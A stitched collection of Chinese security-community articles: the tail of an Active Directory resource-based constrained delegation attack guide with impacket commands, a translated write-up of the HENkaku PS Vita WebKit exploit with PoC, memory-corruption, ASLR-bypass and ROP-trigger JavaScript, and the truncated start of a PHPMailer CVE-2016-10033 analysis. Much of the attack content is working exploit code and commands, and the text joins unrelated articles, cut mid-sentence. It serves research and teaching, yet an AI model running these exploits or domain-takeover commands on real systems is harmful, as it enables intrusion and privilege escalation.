通过一定手段打下张三，然后添加机器账号，设置test01到WIN7的RBCD：
addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01$' -computer-pass test@123456 0ne.test/zhangsan:zs@123456
rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\\zhangsan:zs\@123456
模拟域管理员administrator账号申请访问win7的ST，ptt，然后wmiexec到目标主机:
getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]
同理WEB01也可以打下来。
#### 提权
获取某域内web服务器的iis apppool\defaultapppool或是network
service账户权限，虽然是低权限用户，但是这些账户出网时都是以当前机器账户身份，可以利用RBCD进行提权。 **`NT
AUTHORITY\SELF`**
使用<https://github.com/pkb1s/SharpAllowedToAct>, 添加机器账户并设置iis到web01的RBCD：
SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test
模拟域管理员administrator账号申请访问web01的ST，ptt，然后wmiexec到目标主机:
getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iis
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]
某企业新员工张三入职后用工作电脑加入公司域时，使用的自己域账号，在攻防演习中被钓鱼上线，但是发现该用户没有在本地管理员组里面，可利用RBCD进行提权。
**`mS-DS-CreatorSID`**
域内获取某台主机低权限，可通过获取到机器加域的账号权限，再利用RBCD进行提权。 **`mS-DS-CreatorSID`**
这两场景和RBCD横向利用场景一致：加域账号->添加机器账号->设置RBCD->getST，ptt。
## 参考
感谢`3t2ugg1e`师傅的服务云课堂分享，还有在网上愿意技术分享的各位师傅们。
[利用资源约束委派进行的提权攻击分析](http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/ "利用资源约束委派进行的提权攻击分析")
[微软不认的“0day”之域内本地提权-烂番茄（Rotten
Tomato）](https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#redteamweb3user "微软不认的“0day”之域内本地提权-烂番茄（Rotten
Tomato）")
[daiker师傅的windows-protocol](https://daiker.gitbook.io/windows-protocol/
"daiker师傅的windows-protocol")
[1.3.3 Protocol Overview](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
"1.3.3 Protocol Overview") | 社区文章 |
来源：[Exploiting WebKit on Vita 3.60](https://blog.xyz.is/2016/webkit-360.html)
原作者：[xyzz ](https://github.com/xyzz)
译： **Holic (知道创宇404安全实验室)**
**译者注** ：浏览器作为用户交互较多的应用，漏洞利用点相对多一些，而系统浏览器通常以高权限运行，对封闭的终端设备来说，这就提供了不错的漏洞利用条件。本篇
PSV 的 Writeup 介绍了一个 Webkit 漏洞的利用思路，同理我们可以将思路发散到其他终端设备上，比如之前的 [PS4 1.76版本
Webkit 堆溢出漏洞](https://cturt.github.io/ps4.html)，[Kindle
的越狱](https://github.com/sgayou/kindle-5.6.5-jailbreak/blob/master/doc/README.md)
等...
### 简介
这是 [HENkaku](https://henkaku.xyz/) 攻击链系列 Writeup 的开始章节。我会尽量不对 [KOTH
challenge](https://yifan.lu/2016/08/05/henkaku-koth-challenge)
进行太多破坏，仅仅记录逆向工程的部分，以阐明大家所错过的细节。然而，在这种情况下，挑战无人问津且毫无进展。不管怎样，我将会发布
writeup，既然我已经写了，让它烂在我的repo里面会是一种浪费。
### The PoC
我们选择的能在用户模式执行代码的目标便是 WebKit。Webkit 拥有 JavaScript 引擎，当我们需要绕过 ASLR 时，它对我们很有用。PS
Vita 上的 Web 浏览器也不需要登录 PSN，不会自动更新，允许实现非常简单的攻击利用链（访问网站按下按钮）。完美。
和没有 ASLR 的 3DS 不同，Vita WebKit 有一个可接受的熵值为9 bits 的 ASLR，这就使暴力破解攻击变得非常痛苦（平均需要重新加载
512 次来触发漏洞，好怕！）。因此，我们需要一个比通用 UAF（释放后重用） + vptr（虚函数表指针） 覆写更好的漏洞。
感谢某些人，我设法得到了一个漂亮的 PoC 脚本，可以在最新的固件上造成 Vita 的浏览器崩溃。它不存在于 WebKit bugzilla/repo
的任何地方（或许在限制部分）。
那么作为开始的便是此脚本：
var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();
如果你在使用 Sony 的 Webkit 的 Linux 主机上运行它，你将看到发生段错误。让我们在调试器里面看看：
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152 m_value = JSValue::encode(value);
(gdb) bt
#0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697
<the rest does not matter>
原来她在执行 Javascript Array.sort 函数的时候会遇到未映射的内存。但是这到底发生了什么？
### The bug
让我们看看 `JSArray::sort` 方法（`Source/JavaScriptCore/runtime/JSArray.cpp`)。因为我们的数组是
`ArrayWithContiguous`类型是由它如何创建决定的:`Array.prototype.constructor.apply(null, new
Array(almost_oversize));`，我们进入`sortCompactedVector` 函数。这是它的完整定义：
template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
if (!relevantLength)
return;
VM& vm = exec->vm();
// Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
// This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
// buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
// random or otherwise changing results, effectively making compare function inconsistent.
Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
if (!values.begin()) {
throwOutOfMemoryError(exec);
return;
}
Heap::heap(this)->pushTempSortVector(&values);
bool isSortingPrimitiveValues = true;
for (size_t i = 0; i < relevantLength; i++) {
JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
ASSERT(!value.isUndefined());
values[i].first = value;
if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
}
// FIXME: The following loop continues to call toString on subsequent values even after
// a toString call raises an exception.
for (size_t i = 0; i < relevantLength; i++)
values[i].second = values[i].first.toWTFStringInline(exec);
if (exec->hadException()) {
Heap::heap(this)->popTempSortVector(&values);
return;
}
// FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
// than O(N log N).
#if HAVE(MERGESORT)
if (isSortingPrimitiveValues)
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
else
mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
// FIXME: The qsort library function is likely to not be a stable sort.
// ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif
// If the toString function changed the length of the array or vector storage,
// increase the length to handle the orignal number of actual values.
switch (indexingType) {
case ArrayWithInt32:
case ArrayWithDouble:
case ArrayWithContiguous:
ensureLength(vm, relevantLength);
break;
case ArrayWithArrayStorage:
if (arrayStorage()->vectorLength() < relevantLength) {
increaseVectorLength(exec->vm(), relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
}
if (arrayStorage()->length() < relevantLength)
arrayStorage()->setLength(relevantLength);
break;
default:
CRASH();
}
for (size_t i = 0; i < relevantLength; i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
Heap::heap(this)->popTempSortVector(&values);
}
此函数从 JS 数组中取值，将它们放入一个临时向量中，对向量进行排序，然后将值放回 JS 数组。
在第 37 行，`for` 循环中，对于每一个元素，它的`toString`方法被调。当它被我们的对象 `o` 调用时，便是接下来发生的：
function () {
foo.push(12345);
return "";
}
一个整数被 push 进正在排序的数组。这导致了数组元素被重新分配。在81行，被排序的元素被写回数组，然而，`data`指针
**从不用新分配的值进行更新** 。
图例说明：
灰色的区域是空闲/未分配的内存。在 Linux 上，实际是在调用 realloc 后取消映射。同时，`data`仍然指向旧的内存区域。因此，Web
浏览器试图向未映射的内存写入，产生段错误。
### Out-of-bounds RW
越界读写
根据内容，`JSArray` 对象可能在内存中以不同的方式存储。然而，我们正在操作的，是作为元数据头( **metadata header**
)（黄色部分）加上数组内容（绿色部分）连续存储的。
内容只是一个`JSValue`结构的向量。
union EncodedValueDescriptor {
int64_t asInt64;
double asDouble;
struct {
int32_t payload;
int32_t tag;
} asBits;
};
The metadata header stores two interesting fields:
uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).
uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.
我们的目标是覆盖它们，并将数组“扩展”超出实际分配的范围。
为了实现这一点，我们来修改`o.toString`方法：
var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
foo.push(12345);
for (var i = 0; i < arrays.length; ++i) {
var bar = Array.prototype.constructor.apply(null, fu);
bar[0] = 0;
bar[1] = 1;
bar[2] = 2;
arrays[i] = bar;
}
return "";
}
如果我们运气好的话，这便是所发生的：
在此例中（不反映真实数组大小），当使用`data`指针写回排序值的时候，第二条和第三条 `bar`的 metadata headers 将被覆盖。
我们用什么覆盖它们？记住，绿色的区域是 `JSValue` 对象的向量。每一个 `JSValue`对象都是 8 字节的。但是，如果我们使用比如
`0x8000000` 的数据填充 `foo` ，我们只能控制 4 字节，其余的是用于`tag` 的。`tag` 是什么？
enum { Int32Tag = 0xffffffff };
enum { BooleanTag = 0xfffffffe };
enum { NullTag = 0xfffffffd };
enum { UndefinedTag = 0xfffffffc };
enum { CellTag = 0xfffffffb };
enum { EmptyValueTag = 0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };
enum { LowestTag = DeletedValueTag };
这就是 Webkit JavaScriptCore 如何将不同的类型打包成单个JSValue
结构的：它可以是int，boolean，cell（指向一个对象的指针），null，undefined 或者 double 类型。因此如果我们
写入`54321`，我们只能控制一半的结构，而另一半被设置成 `Int32Tag` 或者 `0xffffffff`。
但是，我们也可以写入`double`类型的值，比如`54321.0`。我们用这种方法控制所有 8
字节，但是还有其他限制（一些浮点指针规范化并不允许写入真正的任意值。否则，你将能够制作`CellTag`并将指针设置成任意值，这是很可怕的。有趣的是，在它确实允许之前，这是第一个[Vita
WebKit exploit](https://www.lolhax.org/2014/10/28/psvita-webkit-for-2-00/)使用过的！CVE-2010-1807）。
因此，我们还是写入 `double` 类型的值吧。
foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
foo[i] = len;
foo.sort();
`u2d/d2u` 是个在`int` 和 `double`之间转换的小助手：
var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0,hi);
_dview.setUint32(4,low);
return _dview.getFloat64(0);
}
function d2u(d)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0,d);
return { low: _dview.getUint32(4),
hi: _dview.getUint32(0) };
}
那么，如果我们现在查看`arrays` 我们将会发现 `JSArray` 对象扩展超出了它们的真正边界，而且它们的长度设置成了 `0x8000000`。
因垂死听，这成功破坏了 Vita 上的 `JSArray` 对象，但是 Linux 上的崩溃触发了一个保护页。但这并不重要，因为我们攻击 Vita 而不是
Linux。
现在当我们向一个损坏的`bar`对象写入的时候，我们可以实现一个越界任意读写，这很棒！但让我们升级到一个真正的任意读写吧。
聪明的读者可能会注意到，由于 Vita 是一个 32 位的终端， 我们将长度设置为 `0x8000000` ，每个`JSValue` 是 8
字节的，我们实际上已经有了任意读写的能力了。然而，我们仍然在从原始的`bar`
向量基写到偏移处，至今仍未泄漏任何堆的地址。此外，我们只能写`double`类型的值，这超级不方便。
### Arbitrary RW
为了获得任意读写能力，我使用了与 2.00-3.20 WebKit 漏洞利用相同的技巧，[详情点此](http://acez.re/ps-vita-level-1-webkitties-3/)。
Spray buffers:
buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
buffers[i] = new Uint32Array(buffer_len / 4);
在内存中查找 `Uint32Array` buffer，在损坏的缓冲区之前（此处称为`arr`）的某个任意偏移开始进行搜索。
var start = 0x20000000-0x11000;
for(;; start--) {
if (arr[start] != 0) {
_dview.setFloat64(0, arr[start]);
if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
_dview.setUint32(0, 0xEFFFFFE0);
arr[start] = _dview.getFloat64(0); // change buffer size
_dview.setFloat64(0, arr[start-2]);
heap_addr = _dview.getUint32(4); // leak some heap address
_dview.setUint32(4, 0)
_dview.setUint32(0, 0x80000000);
arr[start-2] = _dview.getFloat64(0); // change buffer offset
break;
}
}
}
查找损坏的 `Uint32Array`：
corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
if (buffers[i].byteLength != buffer_len) {
corrupted = buffers[i];
break;
}
}
var u32 = corrupted;
既然我们有了真正的任意读写，而且已经泄漏了一些堆地址，接下来便是：
### Code execution
使用 `textarea` 对象的旧技巧这里再次使用（为什么发明新轮子？）首先，修改原来的`Uint32Array` 堆喷射交织至`textarea`对象。
spray_size = 0x4000;
textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
buffers[i] = new Uint32Array(buffer_len / 4);
var e = document.createElement("textarea");
e.rows = textarea_cookie;
textareas[i] = e;
}
使用损坏的`Uint32Array` 对象，在内存中找到`textarea`。
var some_space = heap_addr;
search_start = heap_addr;
for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
if (u32[addr] == textarea_cookie) {
u32[addr] = textarea_cookie2;
textarea_addr = addr * 4;
break;
}
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
if (textareas[i].rows == textarea_cookie2) {
corrupted_textarea = textareas[i];
break;
}
}
现在我们有两个“视图”到同一个`textarea`：我们可以使用我们的`u32`对象在内存中直接修改它，我们还可以从 JavaScript
中调用它的函数。所以关键思路是通过我们的“内存访问”覆盖 vptr ，然后通过 JavaScript 调用修改的函数表。
### Mitigation 1: ASLR
记住，Vita 有 ASLR ， 这就是为什么我们为何不得不复杂化这么多漏洞利用方法。但是利用任意读写的方法，我们可以泄漏`textarea` vptr
并且完全击败 ASLR；
function read_mov_r12(addr) {
first = u32[addr/4];
second = u32[addr/4 + 1];
return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}
var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];
SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
我们谈谈代码执行吧。在 Vita 上没有 JIT ，也不可能分配 RWX 内存（只允许来自 PlayStation 的 Mobile
App）。因此我们必须在 ROP 中写整个 payload 。
之前的 exploit 使用了一个叫做 `JSoS` 的技术，[点此查看详情](http://acez.re/ps-vita-level-1-webkitties-3/)。然而，浏览器在破坏 `JSArray` 之后变得实在是不稳定，所以我们向尽可能少的运行 JavaScript
代码。
因此，新版本的 [roptool](https://bitbucket.org/DaveeFTW/roptool) 由
[Davee](https://twitter.com/DaveeFTW) 编写，支持 ASLR。这里的基本思想是 roptool 输出中有一些字（一个
word 4 字节）现在具有分配给它们的重定位信息。在重定位 payload
之后，这只是向这些字添加不同的base（`SceWebKit_base`/`SceLibc_base` /等），我们可以正常启动生成的 ROP 链。
### Mitigation 2: Stack-pivot protection
由于固件版本未知，现在有了额外的漏洞缓解实施方案：有时内核将检测你的线程栈指针实际是在其堆栈内的。如果不是的话，整个程序将被杀死。
为了绕过这个情况，我们需要将我们的 ROP 链植入线程堆栈。为了做到这点，我们需要线程栈虚地址。因为ASLR的存在，我们并不知道此地址。
然而我们有内存任意读写。有大量方法泄漏栈指针。我使用 [setjmp](http://man7.org/linux/man-pages/man3/longjmp.3.html)函数。
这便是我们如何调用它的：
// copy vtable
for (var i = 0; i < 0x40; i++)
u32[some_space / 4 + i] = u32[textareavptr / 4 + i];
u32[vtidx / 4] = some_space;
// backup our obj
for (var i = 0; i < 0x30; ++i)
backup[i] = u32[vtidx/4 + i];
// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp
现在我们的 `corrupted_textarea` 在内存中被 `jmp_buf`
覆盖，此处包含堆栈指针。然后，我们回复如下原始数据。这是为了在我们试图对损坏的 `textarea` 对象做一些事情的时候，JavaScript
不会使浏览器崩溃。
// restore our obj
for (var i = 0; i < 0x30; ++i)
u32[vtidx/4 + i] = backup[i];
不幸的是，如果我们看到在 `SceLibc` 中 `setjmp` 的实现，我们得到另一个漏洞利用缓解方案。
ROM:81114070 setjmp
ROM:81114070 PUSH {R0,LR}
ROM:81114072 BL sub_81103DF2 // Returns high-quality random cookie
ROM:81114076 POP {R1,R2}
ROM:81114078 MOV LR, R2
ROM:8111407A MOV R3, SP
ROM:8111407C STMIA.W R1!, {R4-R11}
ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie
ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084 STMIA R1!, {R0,R2}
ROM:81114086 VSTMIA R1!, {D8-D15}
ROM:8111408A VMRS R2, FPSCR
ROM:8111408E STMIA R1!, {R2}
ROM:81114090 MOV.W R0, #0
ROM:81114094 BX LR
基本上:
stored_LR = LR ^ cookie
stored_SP = SP ^ cookie
你能看明白这是怎么回事吗？我们已经知道 `SceWebKit_base`，所以我们知道`LR`的真正价值。使用离散代数魔法：
cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)
或者在 JavaScript 中：
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base
现在我们可以将我们的 ROP payload 写入线程栈并转向它，而不会停止应用程序！
### Finally, Code Execution
首先，我们重定位 ROP payload。记住我们如何获得 payload 和 relocs。如果你看到 payload.js ，这将是你所看到的：
payload = [2119192402,65537,0,0,1912 // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
`relocs` 数组中的每个数字表示了 `payload` 成员应该如何重定位的。例如，0 表示不进行重定位，1 表示添加
`rop_data_base`，2 表示 添加 `SceWebKit_base`，3 表示添加`SceLibKernel_base` 等...
使用 roptool 生成的 ROP 链有两个部分：代码和数据。代码只是 ROP 堆栈，数据是字符串或缓冲区。`rop_data_base` 是数据的
vaddr， `rop_code_base` 是代码的 vaddr）
下一个循环将 payload 直接重定位到线程堆栈中：
// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;
addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
if (i == rop_header_and_data_size)
addr = rop_code_base / 4;
switch (relocs[i]) {
case 0:
u32[addr] = payload[i];
break
case 1:
u32[addr] = payload[i] + rop_data_base;
break;
/*
skipped most relocs
*/
default:
alert("wtf?");
alert(i + " " + relocs[i]);
}
}
在这个循环中，我们将有效 payload 分成两个部分：代码段和和数据段。我们不希望代码接触到数据，因为如果它们靠的太近，并且代码在数据之后（这是
roptool 生成的 ROP 链的情况），当调用函数时，它可能会损坏一部分数据段（记着栈增长的方向，这是 ROP 链所沿着的方向）。
因此一旦我们完成重定位数据段：`if (i == rop_header_and_data_size)` ，我们转向重定位代码段：`addr =
rop_code_base / 4`.
图片的左边是 ROP 链存储在 `payload` 数组中的样子。右边展示了 ROP 链是如何写入栈中的。
最后，我们来触发 ROP 链吧。
// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;
var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base; // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}
// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");
corrupted_textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg
// You won't see this alert() unless something went terribly wrong
alert("that's it");
当 `corrupted_textarea.scrollLeft = ldm_data` 完成时，由于覆盖了 vtable ，我们的 LDM gadget
将会被调用。`R1` 会变成 `ldm_data` ，因此它将从缓冲区加载 `SP = rop_code_base` 和 `PC = pop {pc}`
，这将会启动 ROP 链。
### Bonus: How Sony patched it
索尼按照 LGPL 的要求定期上传他们的 Webkit
新源码到[此页面](http://doc.dl.playstation.net/doc/psvita-oss/webkit.html)。（若是他们没有这么做，这种情况他们需要通过邮件要求一个友好的戳印）
将 3.60 和 3.61 版本之间的源码进行比较，将会发现以下内容（已省略无用的东西）：
diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
- }
- };
-
-
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
- if (!relevantLength)
- return;
-
--- + }
+ };
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguousInt32();
+ }
+
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+ return m_butterfly->contiguousDouble();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguous();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+ ArrayStorage* storage = m_butterfly->arrayStorage();
+ ASSERT(!storage->m_sparseMap);
+ return storage->vector();
+ }
+
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+ data = storage<indexingType, StorageType>();
+
+ if (!relevantLength)
+ return;
+
1167,1172c1194,1200
- CRASH();
- }
-
- for (size_t i = 0; i < relevantLength; i++)
- ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-
--- + CRASH();
+ }
+
+ data = storage<indexingType, StorageType>();
+ for (size_t i = 0; i < relevantLength; i++)
+ ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+
他们现在在更新`data` 指针之前写入值。所以即使数组被重新分配，它仍然写入正确的内存。如果你尝试在在 3.61 版本上运行
HENkaku，这就是造成`alert("restart the browser")`错误的原因。干的漂亮，Sony！
### Conclusion
今天就这些！我希望你能喜欢这个 writeup，就像我讨厌写 exploit 一样。此后，在几个月/年/世纪，我会带给你一些更好的 writeup
，尽请期待。因为我写了大部分的 HENkaku exploit 链，我被禁止参加 [KOTH
challenge](https://yifan.lu/2016/08/05/henkaku-koth-challenge)
:(，但至少你可以享受这篇writeup :)。
* * * | 社区文章 |
来源：https://blog.chaitin.cn/phpmailer-cve-2016-10033/
作者：[ **phithon@长亭科技**](https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html)
对比一下新老版本： https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master
其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。
> 回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-> X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。 详细分析一下，下载一份源码，并切换到5.2.17版本：
git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17
单步调试可以发现确实和之前Roundcube出现的漏洞（ http://wiki.ioin.in/search?word=roundcube
）一样，是传给mail函数的第五个参数没有正确过滤：
但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、${IFS}都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('[email protected]', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
